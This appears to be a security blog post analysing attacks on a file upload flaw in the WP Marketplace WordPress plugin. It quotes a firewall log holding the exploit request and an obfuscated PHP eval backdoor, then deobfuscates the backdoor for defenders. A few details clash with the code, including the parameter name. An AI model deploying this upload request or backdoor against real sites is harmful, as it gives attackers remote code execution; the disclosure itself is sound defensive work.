WP Marketplace Attack in the Wild

A few days ago, colleagues from White Fir Design disclosed an arbitrary file upload vulnerability in the WP Marketplace plugin and helped remove it from the official repository (at least until a patched version becomes available). They mentioned that they noticed attempts to exploit vulnerabilities of that plugin in the wild. Specifically, they noticed requests to the /wp-content/plugins/wpmarketplace/css/extends_page.css file – this way hackers could figure out whether the plugin was installed or not.

We checked our Website Firewall logs and confirmed that the WP Marketplace vulnerability is now a part of a hacker’s toolkit. When they detect sites with the installed plugin, they try to exploit the vulnerability and upload backdoors.

xx.xxx.xxx.xxx - - [14/Oct/2016:21:09:30 -0400] "POST /wp-admin/admin-post.php?task=wpmp_upload_previews HTTP/1.1" 403 4358 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6" ..."POSTLOG:--ccfa908a0cc6432a8edc830bbe10c153x0Dx0AContent-Disposition: form-data; name=x22Filedatax22; filename=x22ggyy.phpx22x0Dx0AContent-Type: image/phpx0Dx0Ax0Dx0A<?phpx0Dx0A    $qV = x22stopx22;x0Dx0A    $s20 = strtoupper($qV[4] . $qV[3] . $qV[2] . $qV[0] . $qV[1]);x0Dx0A    if (isset(${$s20}['x2nm3'])) {x0Dx0A        eval(${$s20}['x2nm3']);x0Dx0A    }x0Dx0A?>x0Dx0A--ccfa908a0cc6432a8edc830bbe10c153--x0Dx0A"

Here’s a more readable version of the backdoor code

$qV = "stop";$s20 = strtoupper($qV[4] . $qV[3] . $qV[2] . $qV[0] . $qV[1]);if (isset(${$s20}['x2nm3'])) {  eval( ${$s20}['x2nm3']);}

This simple backdoor is used in many other attacks. It executes arbitrary PHP code passed in the x2mn3 POST parameter. If you don’t see the POST keyword in the code above, it’s because of the simple obfuscation in the first two lines of that convert the lowercase word “stop_” into an uppercase string “_POST“, which later converted to $_POST using the ${$s20} construction.

The WordPress Marketplace was not popular (less than 500 installations according to the plugin directory web page found in Google’s cache). However, this didn’t make it unsuitable for site attacks. Of course, it is not as valuable for hackers as vulnerabilities in popular plugins installed on every other site, but if your toolkit comprises of hundreds of smaller vulnerabilities, the success rate will be comparable. That’s why plugin developers shouldn’t neglect best security practices even when developing small plugins. If you submit it to a public repository you are responsible for the security of websites that install it. Webmasters also should not forget that their site is only as secure as its least secured component (plugin in this case). Make sure that you only use really necessary plugins and keep them all up to date.

To prevent attacks that exploit vulnerabilities in your site software, we suggest using a Web Application Firewall (WAF).

If your site was infected by this or other malware, make sure to read our comprehensive guide on how to clean a hacked WordPress site.